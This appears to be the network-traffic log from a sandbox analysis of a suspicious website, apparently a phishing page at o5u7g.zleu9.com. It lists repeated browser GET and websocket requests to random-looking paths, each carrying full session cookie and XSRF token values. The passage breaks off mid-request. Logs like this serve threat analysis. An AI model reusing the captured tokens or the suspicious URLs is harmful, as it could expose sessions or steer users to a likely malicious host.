XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /90HTVtl1EQGeUVQ777gjOfGgcdMHIfEQyz73 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /efhiWlN0k9o3QYTD34NIiKf6YeHKyzkl100 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://o5u7g.zleu9.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: o5u7g.zleu9.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://o5u7g.zleu9.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3DSec-WebSocket-Key: rHvup9pBUQdAXXImR6dzBw==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /3409ErMmbVIWH6V2dQUQwijgLL2yQXIIAO89104 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij787GshcitfnBJkhf2ihQV2StNO4oyDfl89XPW2QQSs69EwDwN3LQe5cHhw1YAvJ7Xmab223 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnl2tHQ07yj2qZbGoQPLc2rws7XKCbM9CrmJtCNM7qbSB856rqfsEpXq5H383Fjyek8KV2n6SNuv220 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvReLdUstUtCbWsqopShVHLQdjK9um4BlP12130 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opPltSeSUXK9DHBf9DPq9LBD1mnqke1dpQ2aQUfvH45131 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBNQ1RsOW5qRm1QaVFuTWZTWWtyVlE9PSIsInZhbHVlIjoiSXlJQ21kQmJ4bzFEaXlMSExneUt0Yk53TEs4S001NTVFa0RKUGF2emNvTGdWQThBbCtQT0dGMUZXcTJuWlBqdFdsYm9aeXpETWVMUjZ5NjZwOXhzSFp2SHMwNWRZSmh4MUIzdW93bGdyK1Q5YzFKVEdXeEdEa3dTRTg1ZXAzb3QiLCJtYWMiOiJmNWFkYjY5ZTRhNDZkOGVhNDZhMjMyZTZkNjY1YjZkM2EwNGQ2NDM0Mzk2Y2Q4ZTc4ZmMzZWI3MjQzMWI3Mjc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNsblJUajhYU0tNQW9lZFVDckxQYnc9PSIsInZhbHVlIjoic3dLci9nb1pQWW1vSjRDV3FrcXlrdHRwaUkyeHR4K0FOKzlQS3BvczJuQzBjQ2ZSSXc1czV0MnVVa0hyOTl6a0cyYXVlMUpuTUtpSk9STm5DRDNzdDNlVHNmOWQvQ2txZGNDV3FSbHRHdWhPdTE3Y0NCRnBxaHVwY2EvcmdLcUoiLCJtYWMiOiI5YmZiMGZlZmY2NzBkN2U5ZTY3MDg4YTUxYWY2NmViZTY2NDQ5MmU4ZjQ5M2UyODYxZDljMzcxZTIzYjYzZDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij787GshcitfnBJkhf2ihQV2StNO4oyDfl89XPW2QQSs69EwDwN3LQe5cHhw1YAvJ7Xmab223 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ioA9WkaHpGHbSxWyGOmyjZ4CeUqai9zYvvo9IvKLdFjDvXel HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnl2tHQ07yj2qZbGoQPLc2rws7XKCbM9CrmJtCNM7qbSB856rqfsEpXq5H383Fjyek8KV2n6SNuv220 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mndHSfQb7XvbrLZM9aX9ijbdgEYSAxo5cJl78150 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYMAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klOBAXKkM7zxA0PBXtuGSU6IpHSSzXjjkyJZcdNfRjNwpgHUKsNeFPOpTVPLe578167 HTTP/1.1Host: o5u7g.zleu9.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: 